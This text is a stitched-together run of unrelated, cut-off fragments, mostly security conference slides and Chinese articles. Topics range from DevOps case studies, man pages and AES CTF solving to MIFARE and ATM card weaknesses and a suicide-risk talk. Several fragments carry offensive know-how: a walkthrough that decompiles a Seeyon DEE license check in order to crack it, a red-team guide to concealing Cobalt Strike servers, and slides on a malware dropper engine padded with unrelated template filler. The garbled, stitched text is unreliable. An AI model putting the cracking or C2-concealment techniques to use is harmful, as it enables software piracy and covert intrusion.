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DevOps 实践指南精要 作者张乐 2018.04 Case Study Operation InVersion at LinkedIn (2011) 启示需要将偿还技术债作为日常工作的一部分 2011年年IPO之后的六个月LinkedIn 持续与痛苦的有问题的部署斗争 VP of Engineering决定停止所有功 能开发两个月 彻底检修环境部署架构问题 背景 2003年年成立帮助用户 connect to your network for better job opportunities. 2015年年11月数据 350 million会员每秒数万请求 后台系统每秒百万次查询请求 开始时LinkedIn主要运行行在自开发的 Leo应用上 Java单体式应用 通过Servlets服务页面并管理理与后 台很多Oracle DB的JDBC连接 随着早年年业务发展两个关键服务从 Leo分离出来 会员关系图谱在内存中 会员查询在上个服务之上 到2010年年大多数新开发使用新服 务在Leo外围有100个左右 问题是Leo 2周才发布一次 Leo系统有显著的问题 尽管可以垂直升级如内存和CPUs Leo经常在生产环境宕机 很难排查问题和回复 很难发布新的代码 每当要发布一组变更更时站点崩溃混 乱需要工程师工作到深夜解决问题 到2011年年问题已经无法忍受 需要Kill Leo分解为很多小的功能和无状态服务 VP of Engineering 决定完全停止新功能 工作整个部门修复站点的核心基础设施 业务和团队的需要 对公众宣布这一决定时是可怕的事情 好处 大量量积极的结果 创建了了全套的软件和工具帮助开发代码 不不用再等待数周让新功能上到主站 工程师可以开发新的服务 通过一系列列自动化验证发现 影响现有功能的缺陷和问题 立即发布到主站 主要升级每天三次 通过构建了了安全的工作系统创造了了价值 更更少工作到深夜 更更多时间用于开发新功能和创新 整个工程师组织都聚焦在改进工具和 部署基础架构开发生产率 成功构建了了工程敏敏捷性 2010年年有超过150个独立服务今天有超过750个 总结 LinkedIn支付了了接近10年年的技术债务 提升了了稳定性和安全性 支撑公司未来阶段的成长 代价是2个月全部的聚焦在非功能需求 以及所有承诺功能的损失 把寻找和修复问题作为日常工作的一部分管理理技 术债务我们可以避免这种 near death 的体验 API Enablement at Target (2015) 背景 Target 是美国第六大零售商 每年年花费超过 $1 billion 在技术领域 在以前需要10个不不同的团队才能完成一台Server分配 如果出现问题会停止变更更并防止进一步出现问题但这让一切更更糟 问题 获取环境和执行行部署成为开发团队的显著困难 获取需要的数据也同样困难 库存信息架构商店信息等核心 数据被锁在遗留留系统和大型机中 我们经常有多个数据来源 特别是电子商务和实体商店 由不不同团队负责 使用不不同数据结构和优先级 如果一个新的开发团队为客户构建新功能 需要3-6个月进行行集成获取所需要的数据 更更糟的是需要另外3-6个月进行行手工测试 确认没有破坏关键功能 因为是在一个紧耦合系统中 需要大量量项目经理理因为需要协调和交接 开发把时间消耗在队列列中等待而不不是 交付结果和把事情做完 需要管理理20-30不不同团队依赖和交互 这种获取和构建数据的较长的前置周期 危及了了业务目标 集成实体商店和电子商务的供应链 超出了了原有的设计目标只是从供应 商分发到商店 需要将商品送到商店和客户家中 改进点 API Enablement team 让团队需要交付能力力按天而不不是按月 让Target内部的工程师可以获取和存储需要的数据 时间约束在团队选择中扮演了了重要角色 需要团队承担工作而不不是外包出去 需要工程师技能而不不是管理理合同 为了了确保工作不不是在队里里中等待需要 拥有整个栈并且接管运维需求 引入了了很多支持持续集成和持续交付的工具 为支撑大规模增长引入Cassandra database and Kafka message broker 当改进申请权限时被告知No但是团队仍 然坚持去做因为团队知道需要它 效果 在随后的两年年API Enablement Team实现了了53个新业务能力力 集成Pinterest时非常简单 因为只需要提供自己的APIs 2014年年API Enablement Team 服务了了超过每个月15亿API调用 2015年年增长到了了每个月170亿API 调用横跨90个不不同的APIs 为了了支持这种能力力每周例例行行进行行 80次部署 业务价值 数字化销售在2014假日季增长42% 在Q2又增


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.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.13 .\" .\" Standard preamble: .\" ======================================================================== .de Sh \" Subsection heading .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. | will give a .\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to .\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C' .\" expand to `' in nroff, nothing in troff, for use with C<>. .tr \(*W-|\(bv\*(Tr .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' 'br\} .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .if \nF \{\ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . nr % 0 . rr F .\} .\" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .hy 0 .if n .na .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu


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DNS - Devious Name Services Destroying Privacy & Anonymity Without Your Consent Jim Nitterauer Senior Security Specialist Disclaimer Information disclosed in this presentation is intended to help improve your security & privacy posture and should not be used for unethical purposes The concepts presented are in no way meant to imply original research on my part or on the part of my employer Information presented here is gathered from public and private sources with proper references and credit provided where applicable The views expressed in this talk are not necessarily the views of my employer Why Am I Here? Why Am I here? http://bestvpnprovider.co/wp-content/uploads/2015/01/VPN-Blocked-in-China-The-Great-Firewall-Strikes-Again.png Why Am I here? Thank You Thank You @jack_daniel from your @BSidesLV family Agenda Review DNS, EDNS0 extensions and Option Codes Discuss the Rationale for EDNS0 Use Examine EDNS Client Subnet (ECS) Review DNS Resolver Support Examine Tools & Procedures for Testing Discuss Privacy Implications of EDNS0 OPT Codes Discuss Potential for Abuse Questions & answers Goals for Today Understand the basics about EDNS OPT RRs Understand the potential threat to your privacy Have direction for detecting the use of EDNS OPTs Be able to better insure your online privacy Brief History of DNS Brief History of DNS Introduced in 1983 by Paul Mockapetris & Jon Postel Information Sciences Institute  USC RFC 882 & RFC 883 both updated by RFC 973 in 1986 Obsoleted by two RFCs in 1987  RFC 1034  Describes the data structure and exchange of data  RFC 1035  Describes record and infrastructure format Brief History of DNS Distributed database Main components  Namespace  Resource Records (RRs)  Resolvers  Name Servers Brief History of DNS  Defining Master (Primary) / Slave (Secondary) relationship  Adding Notify  Adding IXFR (Incremental Zone Transfers) Improved DNS by Image from https://technet.microsoft.com/en-us/library/bb962069.tcpipm09_big(l=en-us).gif Brief Hist


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Cybrics CTF Nu1L Writeup Team Page:https://nu1l-ctf.com Cybrics CTF Nu1L Writeup Disk Data Description Solution QShell Description Solution Caesaref Description Solution Hidden Flag Description Solution Paranoid Description Solution Sender Description Solution Matreshka Description Solution Oldman Reverse Description Solution NopeSQL Description Solution Bitkoﬀ Bank Description Solution ProCTF Description Solution Fast Crypto Description Solution Cirquits Description Solution Battleships Description Solution Tone Description Solution Dock Escape Description Solution Fixaref Description Solution Telegram Description Solution Fake TCP Description Solution Game Description Solution Samizdat Description Solution Disk Data Status: Completed Tag: MISC Description Author: Khanov Artur (awengar) Disk dump hides the ﬂag. Obtain it data2.zip.torrent Solution .bash_historyImageMagick Mistyimgur QShell Status: Completed Tag: Cyber Description Author: Khanov Artur (awengar) QShell is running on nc spbctf.ppctf.net 37338 Grab the ﬂag https://github.com/alishtory/qrcode-terminal/blob/master/qrcode_terminal/qrcode_terminal.py Solution jio, def qr_terminal_str(str,version=1): if platform.system() == "Windows": white_block = '' black_block = ' ' new_line = '\n' else: white_block = '' black_block = ' ' new_line = '\n'  ls                                                                                :


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# AES ## 基本介绍 Advanced Encryption StandardAES高级加密标准是典型的块加密被设计来取代 DES由 Joan Daemen 和 Vincent Rijmen 所设计其基本信息如下 - 输入128 比特 - 输出128 比特 - SPN 网络结构 其迭代轮数与密钥长度有关系如下 | 密钥长度比特 | 迭代轮数 | | :--------------: | :------: | | 128 | 10 | | 192 | 12 | | 256 | 14 | ## 基本流程 ### 基本概念 在 AES 加解密过程中每一块都是 128 比特所以我们这里明确一些基本概念 在 AES 中块与 State 之间的转换过程如下 所以可以看出每一个 block 中的字节是按照列排列进入到状态数组的 而对于明文来说一般我们会选择使用其十六进制进行编码 ### 加解密过程 这里给个看雪上比较好的 [图例](http://bbs.pediy.com/thread-90722.htm) 以便于介绍基本的流程每一轮主要包括 - 轮密钥加AddRoundKey - 字节替换SubBytes - 行移位ShiftRows - 列混淆MixColumns 上面的列混淆的矩阵乘法等号左边的列向量应该在右边 这里再给一张其加解密的全图其解密算法的正确性很显然 我们这里重点关注一下以下 #### 字节替换 在字节替换的背后其实是有对应的数学规则来定义对应的替换表的如下 这里的运算均定义在 $GF(28)$ 内 #### 列混淆 这里的运算也是定义在 $GF(28)$ 上使用的模多项式为 $x8+x4+x3+1$ #### 密钥扩展 ## 等价解密算法 简单分析一下我们可以发现 - 交换逆向行移位和逆向字节代替并不影响结果 - 交换轮密钥加和逆向列混淆并不影响结果关键在于 - 首先可以把异或看成域上的多项式加法 - 然后多项式中乘法对加法具有分配率 ## 攻击方法 - 积分攻击 ## 2018 国赛 Crackmec 通过简单分析这个算法我们可以发现这个算法是一个简化版的 AES其基本操作为 - 9 轮迭代 - 行移位 - 变种字节替换 如下 ```c memcpy(cipher, plain, 0x10uLL); for ( i = 0LL; i <= 8; ++i ) { shift_row(cipher); for ( j = 0LL; j <= 3; ++j ) *(_DWORD *)&cipher[4 * j] = box[((4 * j + 3 + 16 * i) << 8) + (unsigned __int8)cipher[4 * j + 3]]  box[((4 * j + 2 + 16 * i) << 8) + (unsigned __int8)cipher[4 * j + 2]]  box[((4 * j + 1 + 16 * i) << 8) + (unsigned __int8)cipher[4 * j + 1]]  box[((4 * j + 16 * i) << 8) + (unsigned __int8)cipher[4 * j]]; } result = shift_row(cipher); for ( k = 0LL; k <= 0xF; ++k ) { result = subbytes[256 * k + (unsigned __int8)cipher[k]]; cipher[k] = result; } return result; ``` 根据程序流程我们已知程序加密的结果而 subbytes 和 shift_row 又是可逆的所以我们可以获取最后一轮加密后的结果此时我们还知道 box 对应的常数我们只是不知道上一轮中 `cipher[4*j]` 对应的值一共 32 位如果我们直接爆破的话显然不可取因为每一轮都需要这么爆破时间不可接受那么有没有其它办法呢其实有的我们可以考虑中间相遇攻击即首先枚举所有的 `cipher[4*j]` 与`cipher[4*j+1]` 的字节组合一共256\*256 种在枚举剩下两个字节时我们可以先计算出其与密文的异或值然后去之前的组合中找如果找到的话我们就认为是正确的这样复杂度瞬间降到 $O(2{16})$ 代码如下 ```python encflag = [ 0x16, 0xEA, 0xCA, 0xCC, 0xDA, 0xC8, 0xDE, 0x1B, 0x16, 0x03, 0xF8, 0x84, 0x69, 0x23, 0xB2, 0x25 ] subbytebox = eval(open('./subbytes').read()) box = ev


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E VA DING E DR A C O M P R E H E N S I V E G U I D E T O D E F E A T I N G E N D P O I N T D E T E C T I O N S Y S T E M S M A T T H A N D placeholder NOT FINAL EARLY ACCESS NO S TA RCH PR E S S E A R LY ACCE S S PROG R A M: F E E DBACK W E L COME ! Welcome to the Early Access edition of the as yet unpublished Evading EDR by Matt Hand! As a prepublication title, this book may be incomplete and some chapters may not have been proofread. Our goal is always to make the best books possible, and we look forward to hearing your thoughts. If you have any comments or questions, email us at earlyaccess@nostarch.com. If you have specific feedback for us, please include the page number, book title, and edition date in your note, and well be sure to review it. We appreciate your help and support! Well email you as new chapters become available. In the meantime, enjoy! E VA DING E DR M AT T H A N D Early Access edition, 05/24/23 Copyright  2023 by Matt Hand. ISBN-13: 978-1-7185-0334-2 (print) ISBN-13: 978-1-7185-0335-9 (ebook) Publisher: William Pollock Managing Editor: Jill Franklin Production Manager: Sabrina Plomitallo-González Production Editor: Jennifer Kepler Developmental Editor: Frances Saux Interior Design: Octopod Studios Technical Reviewer: Joe Desimone Copyeditor: Audrey Doyle No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc. Other product and company names mentioned herein may be the trademarks of their respective owners. Rather than use a trademark symbol with every occurrence of a trade- marked name, we are using the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark. All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording, or by any informa- tion storage or retrieval system, without the prior written permission of the copyright owner a


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.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH CHCON 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 chcon \- 修改文件安全上下文 .SH 概述 \fBchcon\fP [\fI\,选项\/\fP]... \fI\,上下文 文件\/\fP... .br \fBchcon\fP [\fI\,选项\/\fP]... [\fI\,\-u 用户\/\fP] [\fI\,\-r 角色\/\fP] [\fI\,\-l 范围\/\fP] [\fI\,\-t 类型\/\fP] \fI\,文件\/\fP... .br \fBchcon\fP [\fI\,选项\/\fP]... \fI\,\-\-reference=参考文件 文件\/\fP... .SH 描述 .\" Add any additional description here .PP 将每个指定文件的安全上下文变更至指定上下文使用 \fB\-\-reference\fP 选项时把指定文件的安全上下文设置为与参考文件相同 .PP 必选参数对长短选项同时适用 .TP \fB\-\-dereference\fP 影响每个符号链接的原始引用文件这是默认行为而非符号链接本身 .TP \fB\-h\fP, \fB\-\-no\-dereference\fP 只影响符号链接而非被引用的任何文件 .TP \fB\-u\fP, \fB\-\-user\fP=\fI\,用户\/\fP 设置指定用户的目标安全上下文 .TP \fB\-r\fP, \fB\-\-role\fP=\fI\,角色\/\fP 设置指定角色的目标安全上下文 .TP \fB\-t\fP, \fB\-\-type\fP=\fI\,类型\/\fP 设置指定类型的目标安全上下文 .TP \fB\-l\fP, \fB\-\-range\fP=\fI\,范围\/\fP 设置指定范围的目标安全上下文 .TP \fB\-\-no\-preserve\-root\fP 不特殊对待/默认行为 .TP \fB\-\-preserve\-root\fP 不允许在/上递归操作 .TP \fB\-\-reference\fP=\fI\,参考文件\/\fP 使用指定参考文件的安全上下文而非指定的上下文值 .TP \fB\-R\fP, \fB\-\-recursive\fP 递归操作文件和目录 .TP \fB\-v\fP, \fB\-\-verbose\fP 为每个处理的文件输出诊断信息 .PP 以下选项是在指定了 \fB\-R\fP 选项时被用于设置如何遍历目录结构体系如果您指定了多于一个选项那么只有最后一个会生效 .TP \fB\-H\fP 如果命令行参数是一个指向目录的符号链接则对其进行遍历 .TP \fB\-L\fP 遍历每一个遇到的指向目录的符号链接 .TP \fB\-P\fP 不遍历任何符号链接默认 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SH 作者 由 Russell Coker 和 Jim Meyering 编写 .SH 报告错误 GNU coreutils 的在线帮助 <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH


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DEE可视化工具 软件破解 认证过程 系统使用 struts2 框架开发通过在 struts2.xml 配置文件当中找到过滤器获取到认证程序 com.seeyon.dee.configurator.interceptor.SerialInterceptor // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.seeyon.dee.configurator.interceptor; import com.opensymphony.xwork2.ActionContext; import com.opensymphony.xwork2.ActionInvocation; import com.opensymphony.xwork2.interceptor.MethodFilterInterceptor; import com.seeyon.v3x.dee.common.base.util.AuthorizeUtil; import com.seeyon.v3x.dee.common.base.util.Encipher; import com.seeyon.v3x.dee.util.DataChangeUtil; import java.io.File; import java.io.FileInputStream; import java.io.InputStream; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; import java.util.Properties; import javax.servlet.http.HttpServletRequest; public class SerialInterceptor extends MethodFilterInterceptor { private static final long serialVersionUID = 4085963428017959650L; private static final String filePath = DataChangeUtil.getRealPath("/") + "config" + "/serial.properties"; public SerialInterceptor() { } protected String doIntercept(ActionInvocation invocation) throws Exception { ActionContext actionContext = invocation.getInvocationContext(); HttpServletRequest request = (HttpServletRequest)actionContext.get("com.opensymphony.xwork2.dispatcher.HttpSe rvletRequest"); String errorMsg = ""; InputStream in = new FileInputStream(filePath); Properties property = new Properties(); property.load(in); in.close(); String keycode = property.getProperty("KeyCode"); String SerialNumber = property.getProperty("SerialNumber"); String encode_authorizeDate = property.getProperty("AuthorizeDate"); String authorizeDate = Encipher.Decode(encode_authorizeDate); String encode_deadline = property.getProperty("Deadline"); String deadline = Encipher.Decode(encode_deadline); String logfilesPath = DataChangeUtil.getRealPath("/") + "../../../../logs"; File logsPath =


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KinectASploit What if you took a kinect, used it's skeleton tracking features KinectASploit Sprinkled in some hacking tools: Wait a minute!... we did that already. Lets find out! Come see the Demo at Defcon20 and look for the tool source at: http://p0wnlabs.com/defcon20 jeff bryner p0wnlabs.com Use @ your own risk


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晶片卡弱點分析 MIFARE, ATM Card & 花博門票 Anderson Ni 倪萬昇 2010/07/01 Agenda  MIFARE 安全漏洞探討  ATM Card與網路ATM安全漏洞探討  台北國際花博覽會門票安全漏洞探討 Sector (64 bytes) Sector (64 bytes) Sector (64 bytes) Introduction of MIFARE  RF ID (ISO 14443-3 Type A with MIFARE,13.56 MHz, Distance 10 cm)  Memory Card (S50 1K bytes, S70 4K bytes) Sector (64 bytes) Block 0 (Data Block, 16 bytes) Block 1 (Data Block, 16 bytes) Block 2 (Data Block, 16 bytes) Block 3 (Key Block, 16 bytes) Sector 0 Sector 1  Sector 15 Key A(6 bytes) Access Con. Key B(6 bytes) 16 * 64 = 1024 bytes = 1K bytes Weakness I of MIFARE Key Length  Key Length of MIFARE Key A/B is 48 bits  Key length of Triple DES is 112 or 168 bits and key length of AES is 128 , 192 or 256 bits  Key wont lock even if key authentication failed too many times! Brute Force Attack!!!!! (圖片來自於網路) => By the thesis, we can use 100 reader at the same time to get 1 key in 2 weeks Weakness II of MIFARE Random Number Generator  The Random Number Generator is designed by LFSR-32 bits  But the seed is decided by the value of timer and the timer will start to count from power on  If We can control the timing we can control the random number! Weakness III of MIFARE Crypto 1 Algorithm LFSR 48 Table + + + LFSR 16 expend to 32 bit Key Stream Ntag Ntag Tag UID NR Key A/B Three Pass Authentication TAG Reader Auth Block (Key A / B) Ntag Nr  KS1, Suc2(Ntag)  KS2 Suc3(Ntag)  KS3 Anti-Collision & Select Card (UID) MIFARE Against from Weakness  防偽驗證碼 (by DES or Triple-DES)  黑名單機制與卡片鎖卡旗標  除特定消費方式,大部分交通應用或小額 消費均有攝影機 Introduction of ATM Card  Personal Data (Account, Bank ID.. etc)  User PIN  Authentication Keys between Bank and Card  Supporting DES, Triple-DES and TAC algorithm  Secured Hardware with EAL 4+ Transaction of ATM Card ATM Card Server of Bank Verify PIN Response Select File and Get Data Response Generate TAC TAC Response Account Transfer Weakless : PIN明碼傳輸 Weakless : Verify PIN後可 產生多次TAC Weakless : 中心無提 供必要資訊給ATM Card 作為產生 TAC 用 Transaction of ATM Card ATM Card Server of


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I'LL SEE YOUR MISSLE AND RAISE YOU A MIRV: DEFCON 26 01 02 04 03 AGENDA PRESENTERS STAGERS, CCDC, & HISTORY Trampoline Malware(s) Exploit Payload Dropper Empire Pupy Meterpreter Professional offensive engagements (CCDC) Context aware implant solutions As a form of packing 3rd party crimeware. Now we're ready to release a re-written, shiny new V1.0 version to you today! Genesis Scripting Engine development started in late 2017 to prepare for the 2018 CCDC season. We ended up using the BETA version at WRCCDC and NCCDC in 2018. Moved our tool chain to a golang, known as Gooby. This included a golang dropper experiment to abstract dropping from the other cluster bomb tools, known as Genesis. PRESENTING THE GENESIS SCRIPTING ENGINE GSCRIPT STANDARD LIBRARY COMMAND LINE TOOL (CLI) DEBUGGER ENGINE COMPILER OBFUSCATOR BASIC EXAMPLE: EMBED A PAYLOAD AND WRITE TO A FILE 1) Write a gscript 01:00  02:00 PM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value OUR PORTFOLIO 10:00  11:00 AM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value WELCOME MESSAGE 11:00  12:00 PM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value ABOUT US 12:00  01:00 PM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normally expected either to generate income, or to appreciate in value MEET THE TEAM 1) Write a gscript 01:00  02:00 PM Investment generally results in acquiring an asset, also called an investment. If the asset is available at a price worth investing, normall


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2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 1/19 红队必备技能之隐蔽的技巧 收录于话题 #技术备存 11 #漏洞 13 #僵尸网络 9 #CTF 9 #AWD 7 正文共4951字 27图 预计阅读时间13分钟 1平时在做安全测试时相信很多小伙伴在建立Cobalt Strike服务端时都是直接使用IP地址 后进行直连之前也爆出过Cobalt Strike空格特征可以通过构造规则针对全球的具有这类 特征的HTTP响应进行服务器抓取难道要频繁更换IP吗更新版本就不会出现新的特征吗 相关信息https://github.com/fox-it/cobaltstrike-extraneous-space 2每当各种重大活动时经常会出现大面积SS/SSR通信异常又要频繁更换IP吗搬瓦工的 Just My Socks提供自动监测并自动换IP功能在众多小伙伴的使用下还会香吗 3基于以上2个问题及其他多种因素并有了产生此次试验的目的 - 备注本方式仅作为抛砖引玉看官请轻拍~ - 更新于2020-01-13 - 版本2.0 一测试环境 + 系统版本Ubuntu 18.04.3 LTS + V2ray版本 原创 Kobe Fans 小生观察室 2020-06-11 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 2/19 - 客户端v2rayN 2.42 - 服务端v4.22.1 + Nginx版本nginx/1.17.7 + VPS 1H1G Part 1.1 测速 选择延迟率相对较低的VPS测试方法 在 UbuntuDebianFedoraCentOSRHEL上一样可以执行 Part 1.2 修改系统时区 V2ray相比SS更需要时间上的准确性,客户端和服务端时差缩小至30s内 rm /etc/localtime ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime 二域名注册 Part 2.1 免费域名 + [freenom](https://www.freenom.com) root@test:/# curl -s https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtes Retrieving speedtest.net configuration... Testing from Google (8.8.8.8)... Retrieving speedtest.net server list... Selecting best server based on ping... Hosted by Ixnium Technologies (Tokyo) [13.11 km]: 1.247 ms Testing download speed.................................................................... Download: 6666.57 Mbit/s Testing upload speed...................................................................... Upload: 6666.11 Mbit/s 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 3/19 此处以免费的域名做案例演示 Part 2.2 收费域名 尽可能不使用国内的域名商 + [namecheap](https://www.namecheap.com/) + [阿里云万网](https://wanwang.aliyun.com/) + [腾讯云DNSPod](https://dnspod.cloud.tencent.com/) + [namesilo](https://www.namesilo.com/) + [godaddy](https://sg.godaddy.com/zh) Part 2.3 注册方法 先注册一个freenom的账号登陆上去点击菜单的 Services 选择 Register a New Domain 选择一个域名点击 Get it now 完成后点击 Checkout 进入下一步 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s


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# 威胁情报的生命周期 <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200814121735.png" style="zoom:50%;" /> 图威胁情报的生命周期[1] ## 一个中心 > Plan企业威胁情报计划这里的Plan实际上是指安全管理团队针对威胁情报所指定的情报计划情报计划应包括威胁情报对应的安全风险点包括但不限于业务安全IT资产安全对应情报大类包括但不限于战术情报战略情报运营情报二次生产情报情报小类包括但不限于pDNS情报Whois情报钓鱼网站情报黑产情报以及闭环跟进流程一套完整的情报计划实际上是可以达到指导现有安全体系建设和改进方向作用的[2] 简单来说一个关于情报的计划是用来回答以下的几个问题**针对什么要做什么怎么做怎么安排** 对应以下的几个技术需求 - 分析和确定**安全风险点** - 业务安全 - IT资产安全 - ... - 关于**情报大类**的研究 - 按使用场景分 - 战术情报 - 战略情报 - 运营情报 - 按类型分 - 资产情报 - 事件情报 - 漏洞情报 - 威胁情报 - ... - 关于**情报小类**安全威胁情报的研究 - pDNS情报 - Whois情报 - 钓鱼网站情报 - 黑产情报 - ... - 规划**闭环跟进流程** - 组织和规划整个威胁情报的发现生产交付等整个环节 - ... ## 五个环节 ### Collection 情报收集 - 按照情报计划收集我们需要情报数据和原始数据 ### Pre-Processing & Utilization 威胁情报预处理与利用环节 - 对原始情报信息进行预处理和应用场景分析确定适用的范围和目标 ### Analysis & Production 威胁情报分析与生产 - 按照情报计划分析与处理之后的数据生产最终的情报也就是所谓的FINTEL ### Transmission 情报输送 - 输送FINTEL至客户也就是安全运营团队并使用情报 在情报传输阶段需要考虑的几个问题 - 我需要输送何种类型的情报YARA规则MD5IPtables规则etc.hotfix补丁 - 我需要输送面向何种目标的情报中间件核心技术etc. - 我需要收集目标的何种信息中间件版本操作系统版本所用技术的名称和版本 - 我需要用何种介质输送终端情报Agent规则列表运维脚本 ### Planning & Direction 威胁情报的计划优化与修订 - 制定情报计划确定我们需要交付何种类型的情报 - 情报有效期结束重新制定或修正现有的情报计划进入下一个循环 ## 相关参考 - https://zhuanlan.zhihu.com/p/129064940 - https://zhuanlan.zhihu.com/p/38532724 - https://zhuanlan.zhihu.com/binandhex ## References \[1] 从EDR到威胁情报运营浅谈终端化的情报部署, [e1knot](https://www.zhihu.com/people/elknot), https://zhuanlan.zhihu.com/p/38009342 \[2] 浅谈威胁情报从甲方运营到乙方交付, [e1knot](https://www.zhihu.com/people/elknot), https://zhuanlan.zhihu.com/p/38532724


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Win at Reversing API Tracing and Sandboxing through Inline Hooking Nick Harbour 2 Agenda  Reverse Engineering Primer  Approaches to Dynamic Analysis  Inline Hooks  Advantages Over Other Techniques  Usages 3 Reverse Engineering Primer  Reverse Engineering techniques can be devided into two categories: Static and Dynamic Analysis  Static Analysis  Techniques which do not involve running the code  Disassembly, file structure analysis, strings, etc.  Dynamic Analysis  Techniques which involve running the code  Behavioral analysis 4 Approaches to Dynamic Analysis  Network Monitoring  Isolated Physical Networks  Virtual Networks  Hardware Emulation  Norman Sandbox et al.  Kernel-Level Monitoring (SSDT hooks)  Sysinternals Process Monitor  Debuggers 5 Kernel-Level Monitoring SSDT User Mode Process Kernel32.dll Ntdll.dll Calls CreateFile() Kernel ZwCreateFile() System Call Performed 6 Kernel-Level Monitoring SSDT User Mode Process Kernel32.dll Ntdll.dll Calls CreateFile() Kernel ZwCreateFile() Procmon.sys System Call Performed 7 Kernel-Level Monitoring  Advantages  Captures every system call  Cant be avoided from userland  Disadvantages  Only captures functions implemented as system calls  Not every important function call in the Win32 API is implemented as a system call  Tools dont differentiate between process housekeeping and calls from usercode  Calls to internal DLLs cannot be observed 8 Process Monitor 9 Process Monitoring via Debugging  Advantages  Debugger can trap any function call, not just system calls  Trapped calls are more likely to be highly relevant to the programs operation  Disadvantages  Have to act as a debugger  Susceptible to countless anti-debugger techniques 10 Inline Hooks  Advantages  Can trap any function call, not just system calls  Trapped calls are more likely to be highly relevant to the programs operation  Not operating as a debugger  No device driver required  Disadvantages  More of a pain in the #@! to implement 11 Monitoring with Inline Ho


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Suicide Risk Assessment and Intervention Tactics and Intervention Tactics Amber Baldet This won't be depressing. Trigger Warning: Discussion of mental health, self-harm, substance use/abuse, trauma, suicide depressing. amberella@attrition.org @amberbaldet The Numbers Leading Causes of Death in the United States, 2010: 1. Heart disease 2. Cancer 3. Chronic lower respiratory diseases 4. Stroke Cause of Death Count Suicide involving a firearm 38,364 19,392 Source: Number of deaths for leading causes of death (2010), CDC 4. Stroke 5. Accidents (unintentional injuries) 6. Alzheimer's disease 7. Diabetes 8. Nephritis (kidney failure) 9. Influenza & Pneumonia 10. Suicide (intentional self-harm) 11. Septicemia (infection) 12. Chronic liver disease (cirrhosis) 13. Hypertension 14. Parkinson's disease 15. Pneumonia involving a firearm by other means Homicide involving a firearm by other means 19,392 18,972 16,259 11,078 5,181 Suicide Rate for All Age Groups (US), 2010 Age Group / Rate per 100,000 20 The Numbers Total 85 + 75 - 84 65 - 74 55 - 64 45 - 54 35 - 44 25 - 34 15 - 24 5 - 14 5 10 15 Source: American Association of Suicidology, Suicide in the USA Based on 2010 Data Frequency of Suicide Completion  Tenth most common cause of death among the total US population  Third behind accidents and homicide for males age 15 - 24  The Numbers  Second only to accidental death among males age 25 - 34 Annual deaths in men age 18-34 (US) 20,000 15,000 10,000 5,000 Vietnam War HIV/AIDS 1955 1960 1965 1970 1975 1980 1985 1990 1995 Year / Total Deaths Chart: Jamison, Kay Redfield. Night Falls Fast: Understanding Suicide. Suicide How Did We Get Here? History of Stigma Clinical alternatives to "Committed"  Died by  Stop saying "committed" suicide.  Completed instead of successful  Was a victim of  Killed themselves How Did We Get Here? Evolution of Mental Health Treatment Selected Mathematician & Scientist Suicides Ludwig Boltzman Paul Drude Clara Immerwahr 